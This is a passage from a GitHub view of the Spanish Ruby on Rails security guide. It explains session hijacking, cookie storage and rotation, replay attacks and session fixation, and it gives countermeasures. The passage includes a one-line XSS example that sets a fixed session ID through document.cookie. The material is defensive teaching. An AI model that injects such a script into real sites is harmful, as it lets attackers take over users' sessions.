-
Notifications
You must be signed in to change notification settings - Fork 0
/
security.html
886 lines (859 loc) · 129 KB
/
security.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
<!doctype html>
<html dir="ltr" lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Protegiendo Aplicaciones Rails — Ruby on Rails Guides</title>
<link rel="stylesheet" type="text/css" href="stylesheets/style-v2.css" data-turbo-track="reload">
<link rel="stylesheet" type="text/css" href="stylesheets/print-v2.css" media="print">
<link rel="stylesheet" type="text/css" href="stylesheets/highlight-v2.css" data-turbo-track="reload">
<link rel="icon" href="images/favicon.ico" sizes="any">
<link rel="apple-touch-icon" href="images/icon.png">
<script src="javascripts/@hotwired--turbo.js" data-turbo-track="reload"></script>
<script src="javascripts/clipboard.js" data-turbo-track="reload"></script>
<script src="javascripts/guides.js" data-turbo-track="reload"></script>
<meta property="og:title" content="Protegiendo Aplicaciones Rails — Ruby on Rails Guides" />
<meta name="description" content="NO LEA ESTE ARCHIVO EN GITHUB, LAS GUÍAS ESTÁN PUBLICADAS EN https://guides.rubyonrails.org.Protegiendo Aplicaciones RailsEste manual describe problemas comunes de seguridad en aplicaciones web y cómo evitarlos con Rails.Después de leer esta guía, sabrás: Todas las contramedidas que están resaltadas. El concepto de sesiones en Rails, qué poner allí y métodos de ataque populares. Cómo solo visitar un sitio puede ser un problema de seguridad (con CSRF). A qué debes prestar atención al trabajar con archivos o proporcionar una interfaz de administración. Cómo gestionar usuarios: Iniciar y cerrar sesión y métodos de ataque en todas las capas. Y los métodos de ataque por inyección más populares." />
<meta property="og:description" content="NO LEA ESTE ARCHIVO EN GITHUB, LAS GUÍAS ESTÁN PUBLICADAS EN https://guides.rubyonrails.org.Protegiendo Aplicaciones RailsEste manual describe problemas comunes de seguridad en aplicaciones web y cómo evitarlos con Rails.Después de leer esta guía, sabrás: Todas las contramedidas que están resaltadas. El concepto de sesiones en Rails, qué poner allí y métodos de ataque populares. Cómo solo visitar un sitio puede ser un problema de seguridad (con CSRF). A qué debes prestar atención al trabajar con archivos o proporcionar una interfaz de administración. Cómo gestionar usuarios: Iniciar y cerrar sesión y métodos de ataque en todas las capas. Y los métodos de ataque por inyección más populares." />
<meta property="og:locale" content="en_US" />
<meta property="og:site_name" content="Ruby on Rails Guides" />
<meta property="og:image" content="https://avatars.githubusercontent.com/u/4223" />
<meta property="og:type" content="website" />
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Noto+Sans+Arabic:[email protected]&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Heebo:[email protected]&family=Noto+Sans+Arabic:[email protected]&display=swap" rel="stylesheet">
<meta name="theme-color" content="#C81418">
</head>
<body class="guide">
<nav id="topNav" aria-label="Secondary">
<div class="wrapper">
<strong class="more-info-label">Más en <a href="https://rubyonrails.org/">rubyonrails.org:</a> </strong>
<span class="red-button more-info-button">
Más Ruby on Rails
</span>
<ul class="more-info-links s-hidden">
<li class="more-info"><a href="https://rubyonrails.org/blog">Blog</a></li>
<li class="more-info"><a href="https://guides.rubyonrails.org/">Guías</a></li>
<li class="more-info"><a href="https://api.rubyonrails.org/">API</a></li>
<li class="more-info"><a href="https://discuss.rubyonrails.org/">Foro</a></li>
<li class="more-info"><a href="https://github.com/rails/rails">Contribuir en GitHub</a></li>
</ul>
</div>
</nav>
<header id="page_header">
<div class="wrapper clearfix">
<nav id="feature_nav">
<div class="header-logo">
<a href="index.html" title="Regresar a la página principal de Guías para Edge">Guías</a>
<span id="version_switcher">
Versión:
<select class="guides-version">
<option value="https://edgeguides.rubyonrails.org/" selected>Edge</option>
<option value="https://guides.rubyonrails.org/v7.2/">7.2</option>
<option value="https://guides.rubyonrails.org/v7.1/">7.1</option>
<option value="https://guides.rubyonrails.org/v7.0/">7.0</option>
<option value="https://guides.rubyonrails.org/v6.1/">6.1</option>
<option value="https://guides.rubyonrails.org/v6.0/">6.0</option>
<option value="https://guides.rubyonrails.org/v5.2/">5.2</option>
<option value="https://guides.rubyonrails.org/v5.1/">5.1</option>
<option value="https://guides.rubyonrails.org/v5.0/">5.0</option>
<option value="https://guides.rubyonrails.org/v4.2/">4.2</option>
<option value="https://guides.rubyonrails.org/v4.1/">4.1</option>
<option value="https://guides.rubyonrails.org/v4.0/">4.0</option>
<option value="https://guides.rubyonrails.org/v3.2/">3.2</option>
<option value="https://guides.rubyonrails.org/v3.1/">3.1</option>
<option value="https://guides.rubyonrails.org/v3.0/">3.0</option>
<option value="https://guides.rubyonrails.org/v2.3/">2.3</option>
</select>
</span>
</div>
<ul class="nav">
<li><a class="nav-item" id="home_nav" href="https://rubyonrails.org/">Inicio</a></li>
<li class="guides-index guides-index-large">
<a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Índice de Guías</a>
<div id="guides" class="clearfix" style="display: none;">
<hr />
<dl class="guides-section-container">
<div class="guides-section">
<dt>Comienza Aquí</dt>
<dd><a href="getting_started.html">Primeros Pasos con Rails</a></dd>
</div>
<div class="guides-section">
<dt>Modelos</dt>
<dd><a href="active_record_basics.html">Conceptos Básicos de Active Record</a></dd>
<dd><a href="active_record_migrations.html">Migraciones de Active Record</a></dd>
<dd><a href="active_record_validations.html">Validaciones de Active Record</a></dd>
</div>
<div class="guides-section">
<dt>Vistas</dt>
<dd><a href="action_view_overview.html">Resumen de Action View</a></dd>
<dd><a href="layouts_and_rendering.html">Diseños y Renderizado en Rails</a></dd>
</div>
<div class="guides-section">
<dt>Controladores</dt>
<dd><a href="action_controller_overview.html">Resumen de Action Controller</a></dd>
<dd><a href="routing.html">Enrutamiento en Rails desde el Exterior</a></dd>
</div>
<div class="guides-section">
<dt>Otros Componentes</dt>
<dd><a href="active_support_core_extensions.html">Extensiones Básicas de Active Support</a></dd>
<dd><a href="action_mailer_basics.html">Conceptos Básicos de Action Mailer</a></dd>
<dd><a href="action_mailbox_basics.html">Conceptos Básicos de Action Mailbox</a></dd>
<dd><a href="action_text_overview.html">Resumen de Action Text</a></dd>
<dd><a href="active_job_basics.html">Conceptos Básicos de Active Job</a></dd>
</div>
<div class="guides-section">
<dt>Políticas</dt>
<dd><a href="maintenance_policy.html">Política de Mantenimiento</a></dd>
</div>
<div class="guides-section">
<dt>Notas de Lanzamiento</dt>
<dd><a href="upgrading_ruby_on_rails.html">Actualizando Ruby on Rails</a></dd>
<dd><a href="7_2_release_notes.html">Versión 7.2 - ?</a></dd>
<dd><a href="7_1_release_notes.html">Versión 7.1 - Octubre 2023</a></dd>
<dd><a href="7_0_release_notes.html">Versión 7.0 - Diciembre 2021</a></dd>
<dd><a href="6_1_release_notes.html">Versión 6.1 - Diciembre 2020</a></dd>
</div>
</dl>
</div>
</li>
<li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribuir</a></li>
<li class="guides-index guides-index-small">
<select class="guides-index-item nav-item">
<option value="index.html">Índice de Guías</option>
<optgroup label="Comienza Aquí">
<option value="getting_started.html">Primeros Pasos con Rails</option>
</optgroup>
<optgroup label="Modelos">
<option value="active_record_basics.html">Conceptos Básicos de Active Record</option>
<option value="active_record_migrations.html">Migraciones de Active Record</option>
<option value="active_record_validations.html">Validaciones de Active Record</option>
</optgroup>
<optgroup label="Vistas">
<option value="action_view_overview.html">Resumen de Action View</option>
<option value="layouts_and_rendering.html">Diseños y Renderizado en Rails</option>
</optgroup>
<optgroup label="Controladores">
<option value="action_controller_overview.html">Resumen de Action Controller</option>
<option value="routing.html">Enrutamiento en Rails desde el Exterior</option>
</optgroup>
<optgroup label="Otros Componentes">
<option value="active_support_core_extensions.html">Extensiones Básicas de Active Support</option>
<option value="action_mailer_basics.html">Conceptos Básicos de Action Mailer</option>
<option value="action_mailbox_basics.html">Conceptos Básicos de Action Mailbox</option>
<option value="action_text_overview.html">Resumen de Action Text</option>
<option value="active_job_basics.html">Conceptos Básicos de Active Job</option>
</optgroup>
<optgroup label="Políticas">
<option value="maintenance_policy.html">Política de Mantenimiento</option>
</optgroup>
<optgroup label="Notas de Lanzamiento">
<option value="upgrading_ruby_on_rails.html">Actualizando Ruby on Rails</option>
<option value="7_2_release_notes.html">Versión 7.2 - ?</option>
<option value="7_1_release_notes.html">Versión 7.1 - Octubre 2023</option>
<option value="7_0_release_notes.html">Versión 7.0 - Diciembre 2021</option>
<option value="6_1_release_notes.html">Versión 6.1 - Diciembre 2020</option>
</optgroup>
</select>
</li>
</ul>
</nav>
</div>
</header>
<hr class="hide" />
<section id="feature">
<div class="wrapper">
<p><strong>NO LEA ESTE ARCHIVO EN GITHUB, LAS GUÍAS ESTÁN PUBLICADAS EN <a href="https://guides.rubyonrails.org">https://guides.rubyonrails.org</a>.</strong></p><h1>Protegiendo Aplicaciones Rails</h1><p>Este manual describe problemas comunes de seguridad en aplicaciones web y cómo evitarlos con Rails.</p><p>Después de leer esta guía, sabrás:</p>
<ul>
<li>Todas las contramedidas <em>que están resaltadas</em>.</li>
<li>El concepto de sesiones en Rails, qué poner allí y métodos de ataque populares.</li>
<li>Cómo solo visitar un sitio puede ser un problema de seguridad (con CSRF).</li>
<li>A qué debes prestar atención al trabajar con archivos o proporcionar una interfaz de administración.</li>
<li>Cómo gestionar usuarios: Iniciar y cerrar sesión y métodos de ataque en todas las capas.</li>
<li>Y los métodos de ataque por inyección más populares.</li>
</ul>
<nav id="subCol">
<h3 class="chapter">
<picture>
<!-- Using the `source` HTML tag to set the dark theme image -->
<source
srcset="images/icon_book-close-bookmark-1-wht.svg"
media="(prefers-color-scheme: dark)"
/>
<img src="images/icon_book-close-bookmark-1.svg" alt="Chapter Icon" />
</picture>
Chapters
</h3>
<ol class="chapters">
<li><a href="#introducción">Introducción</a></li>
<li><a href="#sesiones">Sesiones</a>
<ul>
<li><a href="#¿qué-son-las-sesiones-questionmark">¿Qué son las Sesiones?</a></li>
<li><a href="#secuestro-de-sesión">Secuestro de Sesión</a></li>
<li><a href="#almacenamiento-de-sesión">Almacenamiento de Sesión</a></li>
<li><a href="#rotación-de-configuraciones-de-cookies-cifradas-y-firmadas">Rotación de Configuraciones de Cookies Cifradas y Firmadas</a></li>
<li><a href="#ataques-de-repetición-para-sesiones-de-cookiestore">Ataques de Repetición para Sesiones de CookieStore</a></li>
<li><a href="#fijación-de-sesión">Fijación de Sesión</a></li>
<li><a href="#fijación-de-sesión-contramedidas">Fijación de Sesión - Contramedidas</a></li>
<li><a href="#expiración-de-sesión">Expiración de Sesión</a></li>
</ul></li>
<li><a href="#falsificación-de-solicitud-entre-sitios-csrf">Falsificación de Solicitud entre Sitios (CSRF)</a>
<ul>
<li><a href="#contramedidas-de-csrf">Contramedidas de CSRF</a></li>
</ul></li>
<li><a href="#redirección-y-archivos">Redirección y Archivos</a>
<ul>
<li><a href="#redirección">Redirección</a></li>
<li><a href="#cargas-de-archivos">Cargas de Archivos</a></li>
<li><a href="#código-ejecutable-en-cargas-de-archivos">Código Ejecutable en Cargas de Archivos</a></li>
<li><a href="#descargas-de-archivos">Descargas de Archivos</a></li>
</ul></li>
<li><a href="#gestión-de-usuarios">Gestión de Usuarios</a>
<ul>
<li><a href="#fuerza-bruta-de-cuentas">Fuerza Bruta de Cuentas</a></li>
<li><a href="#secuestro-de-cuenta">Secuestro de Cuenta</a></li>
<li><a href="#captchas">CAPTCHAs</a></li>
<li><a href="#registro">Registro</a></li>
<li><a href="#expresiones-regulares">Expresiones Regulares</a></li>
<li><a href="#escalamiento-de-privilegios">Escalamiento de Privilegios</a></li>
</ul></li>
<li><a href="#inyección">Inyección</a>
<ul>
<li><a href="#listas-permitidas-versus-listas-restringidas">Listas Permitidas Versus Listas Restringidas</a></li>
<li><a href="#inyección-sql">Inyección SQL</a></li>
<li><a href="#cross-site-scripting-xss">Cross-Site Scripting (XSS)</a></li>
<li><a href="#inyección-css">Inyección CSS</a></li>
<li><a href="#inyección-textile">Inyección Textile</a></li>
<li><a href="#inyección-ajax">Inyección Ajax</a></li>
<li><a href="#inyección-de-línea-de-comando">Inyección de Línea de Comando</a></li>
<li><a href="#inyección-de-encabezado">Inyección de Encabezado</a></li>
</ul></li>
</ol>
</nav>
<hr>
</div>
</section>
<main id="container">
<div class="wrapper">
<div id="mainCol">
<h2 id="introducción"><a class="anchorlink" href="#introducción"><span>1</span> Introducción</a></h2><p>Los frameworks de aplicaciones web están hechos para ayudar a los desarrolladores a construir aplicaciones web. Algunos de ellos también te ayudan a asegurar la aplicación web. De hecho, un framework no es más seguro que otro: si lo usas correctamente, podrás construir aplicaciones seguras con muchos frameworks. Ruby on Rails tiene algunos métodos auxiliares ingeniosos, por ejemplo, contra la inyección SQL, por lo que esto difícilmente es un problema.</p><p>En general, no existe algo así como la seguridad plug-n-play. La seguridad depende de las personas que usan el framework, y a veces del método de desarrollo. Y depende de todas las capas de un entorno de aplicación web: el almacenamiento de back-end, el servidor web y la aplicación web en sí (y posiblemente otras capas o aplicaciones).</p><p>Sin embargo, el Grupo Gartner estima que el 75% de los ataques se producen en la capa de la aplicación web, y descubrió "que de 300 sitios auditados, el 97% son vulnerables a ataques". Esto se debe a que las aplicaciones web son relativamente fáciles de atacar, ya que son simples de entender y manipular, incluso por personas no expertas.</p><p>Las amenazas contra las aplicaciones web incluyen el secuestro de cuentas de usuario, eludir el control de acceso, leer o modificar datos sensibles o presentar contenido fraudulento. O un atacante podría ser capaz de instalar un programa troyano o software de envío de correos electrónicos no solicitados, apuntar a un enriquecimiento financiero o causar daño al nombre de la marca modificando los recursos de la empresa. Para prevenir ataques, minimizar su impacto y eliminar puntos de ataque, primero debes comprender completamente los métodos de ataque para encontrar las contramedidas correctas. Eso es lo que esta guía pretende.</p><p>Para desarrollar aplicaciones web seguras, debes mantenerte actualizado en todas las capas y conocer a tus enemigos. Para mantenerte actualizado, suscríbete a listas de correo de seguridad, lee blogs de seguridad y haz que las actualizaciones y los chequeos de seguridad sean un hábito (consulta el capítulo de <a href="#additional-resources">Recursos Adicionales</a>). Esto se hace manualmente porque así es como encuentras los problemas de seguridad lógica desagradables.</p><h2 id="sesiones"><a class="anchorlink" href="#sesiones"><span>2</span> Sesiones</a></h2><p>Este capítulo describe algunos ataques particulares relacionados con las sesiones y medidas de seguridad para proteger tus datos de sesión.</p><h3 id="¿qué-son-las-sesiones-questionmark"><a class="anchorlink" href="#¿qué-son-las-sesiones-questionmark"><span>2.1</span> ¿Qué son las Sesiones?</a></h3><div class="interstitial info"><p>Las sesiones permiten que la aplicación mantenga un estado específico del usuario mientras interactúa con la aplicación. Por ejemplo, las sesiones permiten a los usuarios autenticarse una vez y permanecer conectados para futuras solicitudes.</p></div><p>La mayoría de las aplicaciones necesitan realizar un seguimiento del estado para los usuarios que interactúan con la aplicación. Esto podría ser el contenido de una cesta de compras o el ID de usuario del usuario actualmente conectado. Este tipo de estado específico del usuario puede almacenarse en la sesión.</p><p>Rails proporciona un objeto de sesión para cada usuario que accede a la aplicación. Si el usuario ya tiene una sesión activa, Rails utiliza la sesión existente. De lo contrario, se crea una nueva sesión.</p><p>NOTA: Lee más sobre sesiones y cómo usarlas en <a href="action_controller_overview.html#session">Guía de Resumen del Controlador de Acción</a>.</p><h3 id="secuestro-de-sesión"><a class="anchorlink" href="#secuestro-de-sesión"><span>2.2</span> Secuestro de Sesión</a></h3><p>ADVERTENCIA: <em>Robar el ID de sesión de un usuario permite a un atacante usar la aplicación web en nombre de la víctima.</em></p><p>Muchas aplicaciones web tienen un sistema de autenticación: un usuario proporciona un nombre de usuario y contraseña, la aplicación web los verifica y almacena el ID de usuario correspondiente en el hash de sesión. A partir de ahora, la sesión es válida. En cada solicitud, la aplicación cargará al usuario, identificado por el ID de usuario en la sesión, sin necesidad de una nueva autenticación. El ID de sesión en la cookie identifica la sesión.</p><p>Por lo tanto, la cookie sirve como una autenticación temporal para la aplicación web. Cualquiera que se apodere de una cookie de otra persona, puede usar la aplicación web como este usuario, con posiblemente graves consecuencias. Aquí hay algunas formas de secuestrar una sesión y sus contramedidas:</p>
<ul>
<li><p>Olfatear la cookie en una red insegura. Una LAN inalámbrica puede ser un ejemplo de tal red. En una LAN inalámbrica no cifrada, es especialmente fácil escuchar el tráfico de todos los clientes conectados. Para el constructor de aplicaciones web, esto significa <em>proporcionar una conexión segura a través de SSL</em>. En Rails 3.1 y versiones posteriores, esto podría lograrse forzando siempre la conexión SSL en tu archivo de configuración de la aplicación:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">config</span><span class="p">.</span><span class="nf">force_ssl</span> <span class="o">=</span> <span class="kp">true</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="config.force_ssl = true
">Copy</button>
</div></li>
<li><p>La mayoría de las personas no limpian las cookies después de trabajar en un terminal público. Entonces, si el último usuario no cerró sesión en una aplicación web, podrías usarla como este usuario. Proporciona al usuario un <em>botón de cierre de sesión</em> en la aplicación web y <em>hazlo prominente</em>.</p></li>
<li><p>Muchos exploits de cross-site scripting (XSS) tienen como objetivo obtener la cookie del usuario. Leerás <a href="#cross-site-scripting-xss">más sobre XSS</a> más adelante.</p></li>
<li><p>En lugar de robar una cookie desconocida para el atacante, fijan un identificador de sesión de usuario (en la cookie) conocido por ellos. Lee más sobre esta llamada fijación de sesión más adelante.</p></li>
</ul>
<h3 id="almacenamiento-de-sesión"><a class="anchorlink" href="#almacenamiento-de-sesión"><span>2.3</span> Almacenamiento de Sesión</a></h3><p>NOTA: Rails utiliza <code>ActionDispatch::Session::CookieStore</code> como el almacenamiento de sesión predeterminado.</p><p>CONSEJO: Aprende más sobre otros almacenamientos de sesión en <a href="action_controller_overview.html#session">Guía de Resumen del Controlador de Acción</a>.</p><p>Rails <code>CookieStore</code> guarda el hash de sesión en una cookie en el lado del cliente.
El servidor recupera el hash de sesión de la cookie y
elimina la necesidad de un ID de sesión. Eso aumentará enormemente la
velocidad de la aplicación, pero es una opción de almacenamiento controvertida y
tienes que pensar en las implicaciones de seguridad y las limitaciones de almacenamiento de ella:</p>
<ul>
<li><p>Las cookies tienen un límite de tamaño de 4 kB. Usa cookies solo para datos que sean relevantes para la sesión.</p></li>
<li><p>Las cookies se almacenan en el lado del cliente. El cliente puede preservar el contenido de la cookie incluso para cookies expiradas. El cliente puede copiar cookies a otras máquinas. Evita almacenar datos sensibles en cookies.</p></li>
<li><p>Las cookies son temporales por naturaleza. El servidor puede establecer un tiempo de expiración para la cookie, pero el cliente puede eliminar la cookie y su contenido antes de eso. Persiste todos los datos que son de naturaleza más permanente en el lado del servidor.</p></li>
<li><p>Las cookies de sesión no se invalidan por sí mismas y pueden ser reutilizadas maliciosamente. Podría ser una buena idea que tu aplicación invalide las cookies de sesión antiguas usando una marca de tiempo almacenada.</p></li>
<li><p>Rails cifra las cookies por defecto. El cliente no puede leer ni editar el contenido de la cookie, sin romper la encriptación. Si cuidas adecuadamente tus secretos, puedes considerar que tus cookies están generalmente seguras.</p></li>
</ul>
<p>El <code>CookieStore</code> utiliza el
<a href="https://edgeapi.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted">tarro de cookies cifradas</a>
para proporcionar un lugar seguro y cifrado para almacenar datos de sesión. Las sesiones basadas en cookies, por lo tanto, proporcionan tanto integridad como confidencialidad a sus contenidos. La clave de encriptación, así como la clave de verificación utilizada para
<a href="https://edgeapi.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed">cookies firmadas</a>,
se deriva de la configuración <code>secret_key_base</code>.</p><p>CONSEJO: Los secretos deben ser largos y aleatorios. Usa <code>bin/rails secret</code> para obtener nuevos secretos únicos.</p><div class="interstitial info"><p>Aprende más sobre <a href="security.html#custom-credentials">gestión de credenciales más adelante en esta guía</a></p></div><p>También es importante usar diferentes valores de sal para cookies cifradas y
firmadas. Usar el mismo valor para diferentes configuraciones de sal
puede llevar a que se use la misma clave derivada para diferentes
características de seguridad, lo que a su vez puede debilitar la fuerza de la clave.</p><p>En aplicaciones de prueba y desarrollo, se obtiene una <code>secret_key_base</code> derivada del nombre de la aplicación. Otros entornos deben usar una clave aleatoria presente en <code>config/credentials.yml.enc</code>, mostrada aquí en su estado descifrado:</p><div class="interstitial code">
<pre><code class="highlight yaml"><span class="na">secret_key_base</span><span class="pi">:</span> <span class="s">492f...</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="secret_key_base: 492f...
">Copy</button>
</div>
<p>ADVERTENCIA: Si los secretos de tu aplicación pueden haber sido expuestos, considera seriamente cambiarlos. Ten en cuenta que cambiar <code>secret_key_base</code> expirará las sesiones actualmente activas y requerirá que todos los usuarios inicien sesión nuevamente. Además de los datos de sesión: las cookies cifradas, las cookies firmadas y los archivos de Active Storage también pueden verse afectados.</p><h3 id="rotación-de-configuraciones-de-cookies-cifradas-y-firmadas"><a class="anchorlink" href="#rotación-de-configuraciones-de-cookies-cifradas-y-firmadas"><span>2.4</span> Rotación de Configuraciones de Cookies Cifradas y Firmadas</a></h3><p>La rotación es ideal para cambiar configuraciones de cookies y asegurar que las cookies antiguas
no sean inmediatamente inválidas. Tus usuarios entonces tienen la oportunidad de visitar tu sitio,
hacer que su cookie se lea con una configuración antigua y que se reescriba con el
nuevo cambio. La rotación puede eliminarse una vez que estés seguro de que suficientes
usuarios han tenido la oportunidad de actualizar sus cookies.</p><p>Es posible rotar los cifrados y digestos utilizados para cookies cifradas y firmadas.</p><p>Por ejemplo, para cambiar el digesto utilizado para cookies firmadas de SHA1 a SHA256,
primero asignarías el nuevo valor de configuración:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">config</span><span class="p">.</span><span class="nf">action_dispatch</span><span class="p">.</span><span class="nf">signed_cookie_digest</span> <span class="o">=</span> <span class="s2">"SHA256"</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
">Copy</button>
</div>
<p>Ahora agrega una rotación para el antiguo digesto SHA1 para que las cookies existentes sean
actualizadas sin problemas al nuevo digesto SHA256.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">config</span><span class="p">.</span><span class="nf">action_dispatch</span><span class="p">.</span><span class="nf">cookies_rotations</span><span class="p">.</span><span class="nf">tap</span> <span class="k">do</span> <span class="o">|</span><span class="n">cookies</span><span class="o">|</span>
<span class="n">cookies</span><span class="p">.</span><span class="nf">rotate</span> <span class="ss">:signed</span><span class="p">,</span> <span class="ss">digest: </span><span class="s2">"SHA1"</span>
<span class="k">end</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, digest: "SHA1"
end
">Copy</button>
</div>
<p>Entonces, cualquier cookie firmada escrita será digerida con SHA256. Las cookies antiguas
que fueron escritas con SHA1 aún se pueden leer, y si se accede a ellas, se escribirán
con el nuevo digesto para que se actualicen y no sean inválidas cuando elimines la
rotación.</p><p>Una vez que los usuarios con cookies firmadas digeridas con SHA1 ya no deberían tener la oportunidad de
tener sus cookies reescritas, elimina la rotación.</p><p>Aunque puedes configurar tantas rotaciones como desees, no es común tener muchas
rotaciones activas al mismo tiempo.</p><p>Para más detalles sobre la rotación de claves con mensajes cifrados y firmados, así como las opciones que acepta el método <code>rotate</code>, consulta la documentación de
<a href="https://edgeapi.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html">MessageEncryptor API</a>
y
<a href="https://edgeapi.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html">MessageVerifier API</a>.</p><h3 id="ataques-de-repetición-para-sesiones-de-cookiestore"><a class="anchorlink" href="#ataques-de-repetición-para-sesiones-de-cookiestore"><span>2.5</span> Ataques de Repetición para Sesiones de CookieStore</a></h3><p>CONSEJO: <em>Otro tipo de ataque del que debes estar consciente al usar <code>CookieStore</code> es el ataque de repetición.</em></p><p>Funciona así:</p>
<ul>
<li>Un usuario recibe créditos, la cantidad se almacena en una sesión (lo cual es una mala idea de todos modos, pero haremos esto con fines de demostración).</li>
<li>El usuario compra algo.</li>
<li>El nuevo valor de crédito ajustado se almacena en la sesión.</li>
<li>El usuario toma la cookie del primer paso (que copió previamente) y reemplaza la cookie actual en el navegador.</li>
<li>El usuario tiene su crédito original de vuelta.</li>
</ul>
<p>Incluir un nonce (un valor aleatorio) en la sesión resuelve los ataques de repetición. Un nonce es válido solo una vez, y el servidor debe llevar un registro de todos los nonces válidos. Se vuelve aún más complicado si tienes varios servidores de aplicaciones. Almacenar nonces en una tabla de base de datos derrotaría todo el propósito de CookieStore (evitar acceder a la base de datos).</p><p>La mejor <em>solución contra esto es no almacenar este tipo de datos en una sesión, sino en la base de datos</em>. En este caso, almacena el crédito en la base de datos y el <code>logged_in_user_id</code> en la sesión.</p><h3 id="fijación-de-sesión"><a class="anchorlink" href="#fijación-de-sesión"><span>2.6</span> Fijación de Sesión</a></h3><p>NOTA: <em>Aparte de robar un ID de sesión de usuario, el atacante puede fijar un ID de sesión conocido por ellos. Esto se llama fijación de sesión.</em></p><p><img src="images/security/session_fixation.png" alt="Fijación de sesión"></p><p>Este ataque se centra en fijar un ID de sesión de usuario conocido por el atacante y forzar el navegador del usuario a usar este ID. Por lo tanto, no es necesario que el atacante robe el ID de sesión después. Así es como funciona este ataque:</p>
<ul>
<li>El atacante crea un ID de sesión válido: carga la página de inicio de sesión de la aplicación web donde quiere fijar la sesión y toma el ID de sesión en la cookie de la respuesta (ver números 1 y 2 en la imagen).</li>
<li>Mantienen la sesión accediendo periódicamente a la aplicación web para mantener viva una sesión que expira.</li>
<li>El atacante fuerza el navegador del usuario a usar este ID de sesión (ver número 3 en la imagen). Como no puedes cambiar una cookie de otro dominio (debido a la política de mismo origen), el atacante tiene que ejecutar un JavaScript desde el dominio de la aplicación web objetivo. Inyectar el código JavaScript en la aplicación mediante XSS logra este ataque. Aquí hay un ejemplo: <code><script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script></code>. Lee más sobre XSS e inyección más adelante.</li>
